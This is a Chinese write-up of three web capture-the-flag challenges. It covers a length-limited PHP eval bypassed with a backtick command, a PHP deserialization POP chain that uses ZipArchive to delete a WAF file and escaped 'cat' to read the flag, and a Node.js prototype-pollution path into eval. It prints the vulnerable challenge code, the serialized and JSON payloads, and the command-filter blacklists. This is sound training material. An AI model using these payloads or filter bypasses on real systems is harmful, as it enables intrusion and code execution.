NepNep wp

1.Little_Trick


<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?>

Len=-1的时候可以绕过substr但会吞掉末尾最后一个字符
所以nep变量可以传入11个字符
试了system (ls);;可以看到目录下的文件名
但是cat的话就超过长度了
后来想到php可以用反引号执行命令,但试了下好像没有回显,但可以像 `>a` 这样创建文件
所以用nep= `cat *>a`然后访问目录下的a得到flag

2.梦里花开

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

get传参?a[]=1&b[]=2
pop链为unser=O:4:"Game":6:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";s:8:"register";s:5:"admin";s:4:"file";O:4:"Open":0:{}s:8:"filename";s:54:"php://filter/read=convert.base64-encode/resource=shell";s:7:"content";N;}查看shell.php

<?php
//shell.php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!'); 
    }
}

新学到,利用原生类ZipArchive中OVERWRITE方法删除waf.txt

//构造payload
<?php
error_reporting(0);
include('shell.php');

class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct() {
        $this->username = "admin";
        $this->password = "admin";
        $this->register = "admin";
        $this->file = new ZipArchive();
        $this->filename = "waf.txt";
        $this->content = ZipArchive::OVERWRITE;
    }

    public function __wakeup() {
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3") {
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }
}

class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}

$game = new Game();
$game = serialize($game);
echo(base64_encode($game));

参考自https://huamang.xyz/index.php/archives/61/
构造成功后可以进行命令执行 用ca\t /flag绕过检测

pop链理解:可以看出最后是要传game类过去,game类__wakeup方法绕过md5后可以实例化login类,__destruct的时候会执行login类中的checking()方法,可以看到,这时可以调用一个open()方法,这里要让file实例化为Open类对象,进而进入到Open类中的open()方法,开始时if为真,执行file_get_contents函数,可以借助php伪协议读到源码,删除waf后可以通过shell()函数执行命令

3.gamejs

var opn = require('opn');
var express = require('express');
var app = express();
var path = require('path');
var bodyParser = require('body-parser');
var highestScore = 40000;
var FUNCFLAG = '_$$ND_FUNC$$_';
var serialize_banner = '{"banner":"好,很有精神!"}';
var flag = {"flag":""} // flag是啥来着?记不清了。

function Record() {
    this.lastScore = 0;
    this.maxScore = 0;
    this.lastTime = null;
}
var validCode = function (func_code){
    let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
    return !validInput.test(func_code);
};
var validInput = function (input) {
    let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;
    ins = serialize(input);
    return !validInput.test(ins);
};
var merge = function (target, source) {
    try {
        for (let key in source) {
            if (typeof source[key] == 'object') {
                merge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    catch (e) {
        console.log(e);
    }
};
var serialize = function (obj, ignoreNativeFunc, outputObj, cache, path) {
    path = path || '$';
    cache = cache || {};
    cache[path] = obj;
    outputObj = outputObj || {};
    if (typeof obj === 'string') {
        return JSON.stringify(obj);
    }
    var key;
    for (key in obj) {
        if (obj.hasOwnProperty(key)) {
            if (typeof obj[key] === 'function') {
                var funcStr = obj[key].toString();
                outputObj[key] = FUNCFLAG + funcStr;
            } else {
                outputObj[key] = obj[key];
            }
        }
    }
    return JSON.stringify(outputObj);
};
var unserialize = function(obj) {
    obj = JSON.parse(obj);
    if (typeof obj === 'string') {
        return obj;
    }
    var key;
    for(key in obj) {
        if(typeof obj[key] === 'string') {
            if(obj[key].indexOf(FUNCFLAG) === 0) {
                var func_code=obj[key].substring(FUNCFLAG.length);
                if (validCode(func_code)){
                    var d = '(' + func_code + ')';
                    obj[key] = eval(d);
                }
            }
        }
    }
    return obj;
};
app.use(bodyParser());
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'views')));

app.use(function (req, res, next) {
    if (validInput(req.body)) {
        next();
    } else {
        res.status(403).send('Hacker!!!');
    }
});
async function index(req, res) {
    res.sendFile(path.resolve(__dirname, 'static/index.html'));
}
async function record(req, res, next) {
    new Promise(function (resolve, reject) {
        var record = new Record();
        var score = req.body.score;
        if (score.length < String(highestScore).length) {
            merge(record, {
                lastScore: score,
                maxScore: Math.max(parseInt(score),record.maxScore),
                lastTime: new Date().toString()
            });
            highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
            if ((score - highestScore) < 0) {
                var banner = "不好,没有精神!";
            } else {
                var banner = unserialize(serialize_banner).banner;
            }
        }
        res.json({
            banner: banner,
            record: record
        });
    }).catch(function (err) {
        next(err)
    })
}

app.post('/record', record);
app.get('/', index);
app.get('/source', function (req, res) {
    opn('app.js').then(() => {
        res.sendFile(path.join(__dirname, 'app.js'));
    });
})
app.use(function (err, req, res, next) {
    console.log(err.stack);
    res.status(500).send('Some thing broke!')
});
app.listen('3000');

merge函数可以进行原型链污染
可以看到数据从/record路由下传入

 var score = req.body.score;
if (score.length < String(highestScore).length)

绕过可以传score的时候构造length=1
之后应该要执行反序列化函数unserialize

if ((score - highestScore) < 0) {
                var banner = "不好,没有精神!";
            } else {
                var banner = unserialize(serialize_banner).banner;
            }
        }

这里因为后面传的score为json做减法结果为NAN直接就绕过了,执行else

var unserialize = function(obj) {
    obj = JSON.parse(obj);
    if (typeof obj === 'string') {
        return obj;
    }
    var key;
    for(key in obj) {
        if(typeof obj[key] === 'string') {
            if(obj[key].indexOf(FUNCFLAG) === 0) {
                var func_code=obj[key].substring(FUNCFLAG.length);
                if (validCode(func_code)){
                    var d = '(' + func_code + ')';
                    obj[key] = eval(d);
                }
            }
        }
    }
    return obj;
};

可以看到unserialize函数中有eval,可以执行命令,其中命令要以FUNCFLAG = '_$$ND_FUNC$$_'开头
这里因为没过滤\所以可以直接各种绕过,参考博客的大佬用的十六进制绕过(非预期)

{"score": {"__proto__": {"__proto__": {"abc": "_$$ND_FUNC$$XXXPAYLAOD"}}, "length": 1}}

分析+尝试可以发现,要打到object类中需要构造两层proto
官方wp说\node_modules\opn\index.js下可以调用opn函数将payload写入tmp目录然后bash执行,但当时根本没注意那个js文件,也没有download下来,所以先不考虑了

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值